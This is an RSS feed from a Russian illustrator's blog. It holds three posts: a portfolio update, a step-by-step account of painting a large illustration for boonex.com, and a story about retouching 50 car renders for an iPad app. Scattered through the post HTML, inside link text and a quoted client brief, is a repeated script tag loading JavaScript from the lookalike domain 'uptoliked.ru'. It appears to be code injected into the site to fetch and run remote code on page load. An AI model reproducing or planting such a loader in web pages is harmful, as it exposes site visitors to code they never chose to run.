<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог Фомина Владислава о техническом дизайне, концепт-арте, спидпеинте и веб-дизайне &#187; Иллюстрация</title>
	<atom:link href="https://fominart.ru/category/illyustraciya/feed" rel="self" type="application/rss+xml" />
	<link>https://fominart.ru</link>
	<description>Блог Владислава Фомина о техническом дизайне (TD), концептарте (ConceptArt), спидпеинте (Speed Painting), а также веб-дизайне (Web-design). Уроки, раскадровки работ, исходники, интересная информация мира дизайна.</description>
	<lastBuildDate>Thu, 14 Apr 2016 01:51:07 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0</generator>
	<item>
		<title>Мои работы (2012)</title>
		<link>https://fominart.ru/moi-raboty-2012.html</link>
		<comments>https://fominart.ru/moi-raboty-2012.html#comments</comments>
		<pubDate>Tue, 23 Apr 2013 04:59:20 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Видео]]></category>
		<category><![CDATA[Иконки]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>
		<category><![CDATA[3D]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=3086</guid>
		<description><![CDATA[Очередное обновление портфолио. Собрал наиболее интересные работы. Если кому нужно, что-то порисовать, обращайтесь, договоримся. Сейчас я в активном поиске постоянных клиентов. Приятного просмотра! Мои работы! И еще, посмотрите 2 видео: 1. Philips &#171;Carousel&#187; by Trim Editing Старый, но очень клёвый рекламный ролик для &#171;Philips&#187;. 2. Showreel 2013 &#8211; Making Of by Marco Iozzi Отличный мейкинг [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/moi-raboty-2012.html"><img src="http://fominart.ru/wp-content/uploads/2013/04/fominart.ru_moi-raboty-2012_preview.jpg" alt="Мои работы (2012)" title="Мои работы (2012)" width="599" height="172" class="aligncenter size-full wp-image-3087" /></a></p>
<p><br/>Очередное обновление портфолио. Собрал наиболее интересные работы. <span id="more-3086"></span>Если кому нужно, что-то порисовать, обращайтесь, договоримся. Сейчас я в активном поиске постоянных клиентов.<br />
<br/>Приятного просмотра!<br />
<br/><a href="http://fominart.ru/portfolio" title="Перейти к просмотру портфолио">Мои работы!<script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>И еще, посмотрите 2 видео:<br />
<br/>1. <a href="http://vimeo.com/10282503" title='Philips &laquo;Carousel&raquo;'> Philips &laquo;Carousel&raquo;</a> by <a href="http://vimeo.com/trim" title=' на Vimeo.com'>Trim Editing</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=10282503&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=10282503&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Старый, но очень клёвый рекламный ролик для &laquo;Philips&raquo;.<br />
<br/>2. <a href="https://vimeo.com/59662283" title='Showreel 2013 - Making Of'> Showreel 2013 &#8211; Making Of</a> by <a href="https://vimeo.com/marcoiozzi" title=' на Vimeo.com'>Marco Iozzi</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=59662283&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=59662283&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Отличный мейкинг как создаются сцены для рекламных роликов, клипов и т.д. На сайте <a href="http://marcoiozzi.4ormat.com/">Марко</a> найдете еще видео и его работы. Рекомендую!<br />
<br/>PS: Буду чаще посты с интересным видео выкладывать <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/moi-raboty-2012.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Создание иллюстрации &#171;boonex.com&#187;</title>
		<link>https://fominart.ru/sozdanie-illyustracii-boonex-com.html</link>
		<comments>https://fominart.ru/sozdanie-illyustracii-boonex-com.html#comments</comments>
		<pubDate>Thu, 28 Mar 2013 07:13:12 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=3021</guid>
		<description><![CDATA[Прошел уже год как я закончил рисовать большую иллюстрацию для boonex.com. Впереди будет ряд иллюстраций, но я хотел бы остановиться на данной работе и рассказать про процесс рисования. Для меня это был первый, серьезный проект в плане создания масштабных картинок. Все началось с того, что ко мне обратился через письмо человек предлагавший нарисовать иконки под [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/sozdanie-illyustracii-boonex-com.html" title="Создание иллюстрации boonex.com"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_preview.jpg" alt="" title="Создание иллюстрации &laquo;boonex.com&raquo;" width="599" height="172" class="aligncenter size-full wp-image-3023" /></a><br />
<br />Прошел уже год как я закончил рисовать большую иллюстрацию для <a href="http://www.boonex.com">boonex.com</a>. Впереди будет ряд иллюстраций, но я хотел бы остановиться на данной работе и рассказать про процесс рисования. Для меня это был первый, серьезный проект в плане создания масштабных картинок.<span id="more-3021"></span><br />
<br />Все началось с того, что ко мне обратился через письмо человек предлагавший нарисовать иконки под iOS. Вы их уже видели (<a href="http://fominart.ru/wp-content/uploads/2013/01/fominart.ru_iOS_icons_boonex.com_2012_small.jpg" title="рисование иконок под iOS">раз</a> и <a href="http://fominart.ru/wp-content/uploads/2013/01/fominart.ru_iOS_icons_boonex.com_2_2012_small.jpg" title="рисование иконок под iOS">два</a>). Это был первый этап. Так как заказчик предложил, что если сработаемся, то он обязательно мне подкинет данный проект, а я должен был оценить свои возможности. И&#8230; рискнул. Старался изо всех сил угодить заказчику.<br />
<br />Работу начал с небольшого брифа и первых эскизов, предоставленных заказчиком. Считаю, что даже такого рода скетчи очень сильно помогают понять, что же хочет в итоге заказчик, и уже на основании его набросков, я рисую свой, который успешно утверждают.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_sketch_client_b.jpg" title="Набросок заказчика"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_sketch_client_s.jpg" alt="" title="Создание иллюстрации &laquo;boonex.com&raquo; — Набросок заказчика" class="aligncenter size-full wp-image-3033" /></a><br />
<br />Выдержки из брифа:<br />

<ul>
<div style="color:#bbbbbb">&laquo;&#8230;<br />
<span style="font-style:italic;">Рисунок показывает платформу для создания сайтов сообществ по интересам. Один вебмастер — оператор может управлять несколькими сайтами сразу через одну систему.<br />
<br />В основе показана сама платформа — с прозрачными зонами, через который видно провода, процессор, микросхемы. На внешней части виден логотип <b>Dolphin</b>.<br />
<br />На платформе видно пять сайтов, прикрепленных проводами или торчащих из проемов верней части платформы.<br />
<br />Каждый сайт отражает свою нишу &#8211; тематику сообщества. При этом элементы сайта показаны как настоящие объекты — т.е. люди, а не фото людей; настоящие велосипеды, а не картинки с ними. Как-будто каждый сайт &laquo;живой&raquo;.<br />
<br />Первый сайт посвящен горному туризму, кемпингу и горным велосипедам, например, и показывает людей со снаряжением, забирающихся на сам сайт; висячие на сайте велосипеды; людей с гитарой у палатки и костра, и т.д. Кто-то рассказывает истории, показывает фото, просто фото прилеплены с стене. Можно импровизировать на эту тему.<br />
<br />Второй сайт посвящен Йоге. Сверху большой знак Ом, медитирующий человек, ниже люди в позах и учитель с учениками. На самом сайте висят картинки всех чакр.<br />
<br />Третий сайт для любителей искусства — с картинами, скульпторами, художником в процессе работы.<br />
<br />Четвертый сайт про жителей Австралии — с Опера-театром, икорками в крикет, кенгуру, козлами и фотографиями Австралии.<br />
<br />Пятый сайт посвящен какому-то актеру. Например, Джону Малковичу (для узнаваемости). Показан кино-экран с прожектором и его лицом. Фанаты смотрят кино, продаются футболки и идет обмен дисками.<br />
<br />С элементами каждого сайта можно по-разному экспериментировать — главное отразить идею, что это тематические сайты сообществ, на которых люди обмениваются текстом, фото и видео на тему сайта.<br />
На торцевой части платформы показан интерфейс управления состоящий из иконок как мы делаем, а оператор-админ нажимает на них. Около него стоит тележка с несколькими иконками — это компоненты, которые он купил в нашем магазине.<script src="//uptoliked.ru/widjets.js"></script></span><br />
&#8230;&raquo;</div>
</ul>
<p><br/>Следующим шагом были попытки применить 3D в создании платформы и рядя элементов для иллюстрации, но понимая, что моих знаний в создании с нуля объектов не хватит, я решаю ограничиться поиском готовых моделей. Шестерёнки, вращающиеся внутри платформы были выполнены <a href="http://www.free-lance.ru/users/sfai/" title="Фрилансер Сергей Клёсов">Сергеем</a>, который постоянно помогал мне в освоении 3D. В итоге отрендерив их, без материалов, как заготовку, применил в отрисовке как и множество других готовых моделей. Это были и велосипеды висящие на сайтах, скульптуры и колонны у скульпторов.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3d_b.jpg" title="3D заготовки"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3d_s.jpg" alt="3D заготовки" title="Создание иллюстрации &laquo;boonex.com&raquo; — 3D заготовки" class="aligncenter size-full wp-image-3043" /></a><br />
<br />Вообще, изначально была задумка сделать все в 3D. Но пока это осталось у меня в мечтах. Сам заказчик изначально показывал пример именно иллюстрации, где и применялась данная технология, но в процессе рисования его устроил и процесс отрисовки.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_sample_3d_b.jpg" title="Пример 3D-иллюстрации"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_sample_3d_s.jpg" alt="Пример 3D-иллюстрации" title="Создание иллюстрации &laquo;boonex.com&raquo; — Пример 3D-иллюстрации" width="599" height="443" class="aligncenter size-full wp-image-3049" /></a><br />
<br />Достаточно долго и кропотливо собирал референсы. Тут лишь малая часть. В основном же я рисовал сам, смотря на них, т.к. нужного ракурса не было.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_references_b.jpg" title="Основные референсы"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_references_s.jpg" alt="Основные референсы" title="Создание иллюстрации &laquo;boonex.com&raquo; — Основные референсы" class="aligncenter size-full wp-image-3030" /></a><br />
<br />Давайте подробнее рассмотрим основные разделы тематики сообществ.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_1_b.jpg" title="Сайт первый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_1_s.jpg" alt="Сайт первый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт первый" class="aligncenter size-full wp-image-3036" /></a><br />
<br/>
<div style="color:#bbbbbb">1. Горный туризм, кемпинг и горные велосипеды.</div>
<p>При создании горы, куда взбирается скалолаз применялась текстура камней с последующей дорисовкой. Я не ставил перед собой задачу сделать ее объемной, т.к. тогда бы она сильно выступала из сайта и создавала диссонанс в иллюстрации. Приходилось несколько раз перерисовывать страховщика (девушку), т.к. был невнимателен в выбору ее положения, на что мне указал заказчик. Опытный зритель может увидеть, что основными референсами в этом разделе были: велосипедист и пара на заснеженном склоне.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_2_b.jpg" style="Сайт второй"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_2_s.jpg" alt="Сайт второй" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт второй" class="aligncenter size-full wp-image-3039" /></a><br />
<br/>
<div style="color:#bbbbbb">2. Йога.</div>
<p>По несколько раз переделывал стену. Изначально требование было изобразить 5 чакр. Но в процессе работы я не сумел добиться нужной четкости от них, т.к. получалось, что мы видим 5 кружочков, а рисунок в центре у них размазывался из-за небольшого разрешения, под которое рисовалась иллюстрация. В итоге остановились на изображении, на стене &#8211; изображающее медитирующего Шиву с горящими факелами.<br />
<br />Второй этаж пришлось немного расширить, т.к. люди были иначе слишком маленькими по сравнению с другими жителями этого раздела. И вместо 3-х девушек медитирующих, показать 2-е. Третий этаж, это своего рода поднебесная, в которой расположен знак Ом &#8211; мистический слог, выражающий Божественное, изначальный звук Вселенной, напротив которого медитирует перед луной обнаженная девушка. Здесь основные референсы это вода и звездное небо.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3_b.jpg" title="Сайт третий"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_3_s.jpg" alt="Сайт третий" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт третий" class="aligncenter size-full wp-image-3041" /></a><br />
<br/>
<div style="color:#bbbbbb">3. Искусство.</div>
<p>Долго думал как быть со скульпутрами. В тоге решил сделать заготовки из 3D и по ним уже рисовать. Изначально хотел изобразить мастерскую скульптора, просмотрел не один десяток и решил, что здесь будет место колоннам и скульптуре Микеланджело &laquo;Давид&raquo;. На втором этаже художник рисует портрет графини, а на третьем &#8211; картинная галерея (тут использовались в основном картины в качестве референсов).<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_4_b.jpg" title="Сайт четвёртый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_4_s.jpg" alt="Сайт четвёртый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт четвёртый" class="aligncenter size-full wp-image-3045" /></a><br />
<br/>
<div style="color:#bbbbbb">4. Жители Австралии.</div>
<p>Данный раздел рассказывает о жизни обитателей Австралии. Кенгуру и и кола с детёнышем на дереве &#8211; первый этаж. Была задумка показать страуса Эму, но решили не загружать иоллюстрацию. Второй этаж переделывался мучительно долго. Так как изначально на скетче была изображена игра в крикет, но в последствии заказчик передумал и захотел показать местных аборигенов, которые играют на didjeridoo (в оргинале звучит как &#8220;yidaki&#8221;) &#8211; один из самых старейших музыкальных и духовных инструментов во всем мире, который используется аборигенами из Австралии. Ну что ж пришлось напрячься и нарисовать. Третий этаж, это всем известное во всем мире место &#8211; Сиднейский оперный театр (использовалось фото в качестве референса).<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_5_s.jpg" title="Сайт пятый"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_WIP_5_s.jpg" alt="Сайт пятый" title="Создание иллюстрации &laquo;boonex.com&raquo; — Сайт пятый" class="aligncenter size-full wp-image-3047" /></a><br />
<br/>
<div style="color:#bbbbbb">5. Актеры.</div>
<p>Стояла задача показать на примере какого-нибудь актера данный раздел. Заказчик предложил &#8211; Джона Малковича. На первом этаже я хотел показать магазин маек с изображением актера, на втором &#8211; как фанаты обмениваются дисками, стикерами и т.д., а на третьем &#8211; показать кинозал, в котором смотрят фильм с любимым актером. Актера на экране я уже доделывал после сдачи проекта, решил, что все же стоит доработать этот пробел.<br />
<br />Небольшой бонус моим читателям. Я собрал из картинок процесс создания (WIP) от начала и до финала. Для просмотра видео в <strong>HD</strong> необходимо пройти по этой <a href="https://vimeo.com/62798570">ссылке</a>, здесь же вы вряд ли увидите детали.<br />
<br /><object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=62798570&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=62798570&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br />Описание к видео:</p>
<div style="color:#517e95"><em>Рисунок показывает платформу для создания сайтов-сообществ по интересам. Вебмастер управляет несколькими сайтами сразу через одну систему. В основе показана сама платформа &#8211; с прозрачными зонами, через которые видны провода, процессор и микросхемы. На платформе расположены пять сайтов, каждый из них отражает свою нишу &#8211; тематику сообщества.<br />
<br />
<span style="font-weight:bold;">Soft:</span> Adobe Photoshop CS5<br />
<span style="font-weight:bold;">Music:</span> Kryptonic &#8211; Dream Weaver</em>
</div>
<p><br/>В итоге, после 1 месяца и 14 дней я-таки нарисовал ее.<br />
<br /><a href="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP.jpg" title="Создание иллюстрации &laquo;boonex.com&raquo; — Финал"><img src="http://fominart.ru/wp-content/uploads/2013/03/fominart.ru_illustration_dolphin_8_2012_WIP_s.jpg" alt="Создание иллюстрации &laquo;boonex.com&raquo; — Финал" title="Создание иллюстрации &laquo;boonex.com&raquo; — Финал" class="aligncenter size-full wp-image-3059" /></a><br />
<br />На сколько удачно получилось судить вам, но мне нравится работа! Был очень рад работать над ней, да и сам заказчик понравился, на редкость адекватен, во время предоставлял материалы и писал замечания, внимательно выслушивал мою точку зрения и соглашался. </p>
<p><br/>Спасибо за прочтение! <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/sozdanie-illyustracii-boonex-com.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Pyrolia ROAD.Inc &#8211; ретушь 50-ти автомобилей!</title>
		<link>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html</link>
		<comments>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html#comments</comments>
		<pubDate>Fri, 23 Mar 2012 08:12:15 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[cgretouch]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2645</guid>
		<description><![CDATA[Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?) Мне оказалось слабо при моём уровне. [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._preview.jpg" alt="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" class="aligncenter size-full wp-image-2681" /></a><br />
<br/>Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?)<span id="more-2645"></span><br />
<br/>Мне оказалось слабо при моём уровне. Времени уходило на 1 вид в среднем 1 день &#8211; это виду сбоку, так как помимо кузова приходилось работать над колёсами. Остальные 3 вида выполнял за 2 дня. Но при таком раскладе я никак не мог уложиться в дедлайн, приходилось объяснять. В итоге после дедлайна мне дали еще время, но даже дополнительных 2 месяца не спасали меня. Работал без выходных, отчет о каждой тачке и правки сразу же. Но обо всем по порядку.<br />
<br/>Данные тачки разрабатывались специально для <span style="font-weight:bold;">iPad2</span>. Здесь есть свои подводные камни при ретушировании. Я расскажу о них позднее.<br />
<br/>Перед началом работы мне предложили выполнить тестовый вариант ретуши автомобиля. Это была <span style="font-weight:bold;">Ferrari 250 GTO 1962</span> года.<br />
<br/><span style="font-weight:bold;">О референсах.</span> Данные автомобили &#8211; это 3D модели известных авто, которые моделировало не большая группа моделлеров (5 человек). Чертежи и всю информацию по авто собирали отдельно, со слов заказчика информации на сотни гигабайт (~1TB, чертежи, фото, картинки, журналы). Перед началом работы мне выдали набор файлов к этим 3D моделям и я сначала не понял, что с ними делать.<br />
<a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" class="aligncenter size-full wp-image-2666" /></a><br />
<br/>Я начал &laquo;гуглить&raquo;, но ничего толком не нашел. Вскоре мне подсказали, что и для чего это. Так вот, первые 2 файла &#8211; это маски для автомобилей, чтобы можно было легко выделять их элементы (работа с каналами в Фотошопе). 3-ий файл <span style="font-weight:bold;">specular</span> &#8211; это синий канал (блики), красный (отражения окружения и глобальное освещение) и зеленый (отражения поверхности, на которой стоит авто &#8211; рефлексы). 4 и 5 &#8211; это тип файлов, разработанных компанией <a href="http://www.ilm.com/" title="Industrial Light &#038; Magic">ILM</a>, поддерживающих 32 бита, в которые можно сохранять слои. В основном их используют в кино индустрии. Мне же для основы был нужен <span style="font-weight:bold;">Side Black</span>, а <span style="font-weight:bold;">Side White</span> использовался как вспомогательный в режиме <span style="font-weight:bold;">screen</span> с регулируемой прозрачностью.<br />
<br/>Разрешение всего полотна, которое требовалось на выходе было 3200&#215;2400 пикселей. Оригиналы я показывать не могу по известным причинам). На ретушь <span style="font-weight:bold;">Ferrari 250GTO</span> ушло 3-4 дня (4 вида). Ниже показан только 1 вид сбоку. Отдельно хочу затронуть тему ретуши колес. Заказчик всячески пытался высветлить их, так как на iPad&#8217;e тёмные они смотрелись плохо. Для тестового варианта спицы на дисках пришлось создавать заново.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_b.jpg" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_s.jpg" alt="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" class="aligncenter size-full wp-image-2668" /></a><br />
<br/>Большое внимание уделил деталям. Тут я еще не понимал, что требуется. Начал искать фото этой Феррари и смотреть на ее кузов. Оказывается оригинал найти оказалось не так то просто, кругом попадались различные модификации. При беседе с заказчиком выяснилось, что данные модели &#8211; это оригиналы машин. И что изменять или дополнять что-то не нужно! Необходимо сделать красиво!)<br />
<br/>И так, тест был успешно сдан с 7-ой попытки. Приходилось заниматься постоянной цветокоррекцией кузова авто. В итоге после недельного ожидания я согласился. Попутно стал думать о помощи в проекте среди своих знакомых. Всё же 200 иллюстраций и мое подсознание мне говорило, что я не потяну) Подключил хорошего знакомого <a href="http://revision.ru/a/kmjif/" title="kmjif на revision.ru">Алексея</a>. Заказчик предложил мне стать ответственным за него, чтобы всю работу я с ним сам согласовывал. После тестовых вариантов стало понятно, что повторить мой стиль сразу не получится, обязательно нужны будут правки, а это дополнительная потеря времени. В итоге заказчик всё же настоял, чтобы работу я выполнял самостоятельно, и что скорее всего она пойдет быстрее после несколько отретушированных авто.<br />
<br/>Пока я ретушировал следующие тачки, заказчик тем временем готовил для меня сюрприз. Оказывается он со своим руководством пересмотрели варианты ретуши авто в гораздо большем разрешении &#8211; 8000&#215;6000 пикселей!!! Про себя я подумал, хорошо что недавно сделал <a href="http://fominart.ru/upgrade.html" title="Как я сделал апгрейд компьютера">апгрейд<script src="//uptoliked.ru/widjets.js"></script></a>! <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /> Иначе пришлось бы отказаться от работы. Для таких форматов нужен не слабый компьютер. Заказчик мотивировал такой выбор разрешения тем, что скоро должен выйти (<a href="http://store.apple.com/us/browse/home/shop_ipad/family/ipad" title="iPad">уже вышел!</a>) <span style="font-weight:bold;">iPad3</span> c <span style="font-weight:bold;">retina</span>-дисплеем и было бы круто, чтобы это приложение появилось на нем. Да и детали на авто в меньшем разрешении превращались в кашу (пример с колёсами у Феррари). Таким образом, после 3-х выполненных авто, их пришлось заново ретушировать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_b.jpg" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_s.jpg" alt="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" class="aligncenter size-full wp-image-2651" /></a><br />
<br/>При ретушировании выяснилось, что 3D модели низко полигональные (имеют мало полигонов), поэтому местами форма кузова и других запчастей авто выглядело криво, соответственно, блики также были неправильными. Такие &laquo;косяки&raquo; при моделировании объяснялись жесткими сроками выполнения (2-3 дня на 1 модель). Где-то бампер срезан, где-то логотип авто висит в воздухе, решетка впилась в корпус авто и т.д. О кривой текстуре я уже молчу. Это отнимало уйму времени. При работе заказчик предложил заполнять таблицу сложности ретуширования видов (вид сбоку | другие виды) и ошибки моделирования.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_b.jpg" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_s.jpg" alt="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" class="aligncenter size-full wp-image-2688" /></a><br />
<br/>Из таблицы видно, что самыми &laquo;адскими&raquo; авто при ретушировании были <span style="font-weight:bold;">Bentley Blower [1930]</span> и <span style="font-weight:bold;">Alfa Romeo 6C [1929]</span>. По 4 дня на каждую тачку уходило. Очень сложные в плане деталей и форм.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" class="aligncenter size-full wp-image-2657" /></a><br />
<br/>Помимо основного внешнего вида сбоку, приходилось работать над конструкцией под колёсами. Также сложность заключалась в референсах. Моделлер, видимо, переделывал конструкцию у этой тачки, а маски и спекуляр не обновлял. В итоге пришлось самому их дорисовывать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" class="aligncenter size-full wp-image-2659" /></a><br />
<br/>С цветом пришлось также повозиться. После 3-х дней непрерывного ретуширования мои глаза уже не различали цвета. Со свежим взглядом заказчик попросил допилить цвет) Кстати, очень не хватало 3D моделей, которые мне не показывали. Я просил их у заказчика, но мне сказали ориентироваться на референсы)) Если бы были под рукой цвета отрендеренных моделей, то этого бы, скорее всего, не произошло.<br />
